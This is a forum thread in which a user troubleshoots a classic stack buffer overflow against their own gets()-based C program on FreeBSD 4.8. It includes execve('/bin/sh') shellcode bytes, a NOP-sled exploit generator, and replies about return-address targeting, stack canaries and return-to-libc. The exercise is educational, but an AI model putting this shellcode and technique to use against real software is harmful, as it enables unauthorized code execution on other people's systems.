Spawning shell using buffer overflow in C program

I have written a program "master.c" that is using gets and is vulnerable to buffer overflow:

Code:
//----- master.c -- MASTER PROGRAM ------------------------------
#include <stdio.h>

int main(int argc, char** argv)
{
    char buf[100];
   
    printf("Please enter your name: ");
    fflush(stdout);
    gets(buf);
    printf("Hello \"%s\"\n", buf);
}

void notcalled(void)
{
    printf("This is a secret string");
}

I have written another program "shellcode.c" that overflows the buffer in master.c and tried to spawn a shell at the terminal:

Code:
//---- shellcode.c --- MY PROGRAM ----------------------------
#include <stdio.h>

char shellops[] = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

#define NOP        0x90
#define BUFLEN    108
#define RETADDR    0xbfbffa4c

int main(void)
{
    char buf[BUFLEN];
    int i;
   
    for (i=0; i<BUFLEN; i+=4)
        *(long *)&buf[i] = RETADDR;
   
    for (i=0; i<50; i++)
        *(buf+i) = NOP;
   
    memcpy(buf+i, shellops, strlen(shellops));

    printf("%s", buf);

    return 0;
}

To achieve this, I have already written the assembly program to spawn the shell and obtained the OP codes against the assembly code. Then I have written a C program to create a char buffer containing those OP codes and tried to overflow the buffer of the master program.... so that the return address of the main is overwritten with the address of the char buffer containing the code for spawning the shell.

When it comes to passing the input string (i.e. the buffer containing the shell spawning code) to the master program, I have simply used the piped out of my program to the master program (i.e. standard output and standard input).

i.e. TY@Bash$ ./shellcode | ./master

Unfortunately, this trick doesn't work for me, even with a lot of variations in address and the code.

I need to know all the possible ways to pass the data (containing the OP codes) to the master program ... when required by GETS().

** As a verification, I have already checked the code overflow the buffer of my own program i.e. shellcode.c and found that it spawns the shell successfully. I have even tried adding an instruction for "INT3" it works fine. This leads me conclude the following:
- Either I am not passing the string to the master program in the correct way.
- Or I am unable to locate the correct address of the variable 'buf' in master.c to return to.
 
Please use
Code:
 tags and leave the fonts alone.
( [url=http://forums.freebsd.org/showthread.php?t=8816]Posting and Editing in the FreeBSD Forums[/url] )
 
When i tested same mechanigs long time ago, i used many NOPs for more graceful EIP "landing"
 
Alt said:
When i tested same mechanigs long time ago, i used many NOPs for more graceful EIP "landing"
That's the easiest way to do it, it's called a NOP slide ;)

You basically get the correct point to insert the 'new' EIP. The new address points somewhere in the middle of the NOP slide. Then you don't have to be so exact. At the end of the NOP slide is the shell code.
 
But I have tried executing some other commands like '/usr/bin/who' , '/bin/hostname' but a set of commands like '/bin/sh', '/bin/bash', '/bin/ls' don't work... I wonder there is any special difference between these commands....!!!

Thanks for your worth it comments though, I'm trying the way out with more NOPs to hit the right address.
 
TariqYousaf said:
But I have tried executing some other commands like '/usr/bin/who' , '/bin/hostname' but a set of commands like '/bin/sh', '/bin/bash', '/bin/ls' don't work... I wonder there is any special difference between these commands....!!!
Yes, there is no /bin/bash :e

You need to make absolutely sure you've got the right spot where EIP gets overwritten. This is usually the hardest part of the exploit.
 
LateNiteTV said:
does freebsd use a non executable stack?
AFAIK no. But if I'm not mistaken 8.0-release was the first release to use SSP (stack-smashing protector) aka ProPolice. Which uses canaries to detect/prevent stack based overflows. This might be the reason why it's not succeeding.

http://en.wikipedia.org/wiki/Buffer_overflow_protection


maybe returning into libc is what you need to do.
I'd say give it a shot, I'm too rusty to do it hands-on these days :e
 
Yes, there is no /bin/bash
:p sorry for the typo I meant '/usr/local/bin/bash'.
AFAIK no. But if I'm not mistaken 8.0-release was the first release to use SSP (stack-smashing protector) aka ProPolice. Which uses canaries to detect/prevent stack based overflows. This might be the reason why it's not succeeding.
Let me clear my point please.
1- I'm using FreeBSD 4.8.
2- I've successfully smashed the stack and executed the code to run the commands like 'who', 'hostname' and 'pwd'.
3- I'm unable to execute 'sh', 'bash' and 'ls'.

Please advise!!!
 
Hey guys... I've figured out the reason why the shell is not getting spawned but still don't know beneath the surface i.e. how to get it solved; so I need to give you guys an SOS call ... :)

Actually, shell is generated as a Zombie process for a couple of seconds and then it gets destroyed.

Could you please suggest me a way out of this...!
 
Morever, the execve man says:
Code:
execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program 
loaded. The program invoked inherits the calling process's PID

But in my case, if I debug the program and try to execute the injected code, it executes the 'sh' but as a Zombie whose Parent ID is the vulnerable program (i.e. MASTER.C as mentioned in the first post) where as according to the 'execve man' it should be the Id of the shell I'm executing the program in.
 
Any solution to the problem?

Tariq,

Did you find any solution to the problem? Could you please post the assembly code and the debugger code also?

Thanks

Jeff
 
Back
Top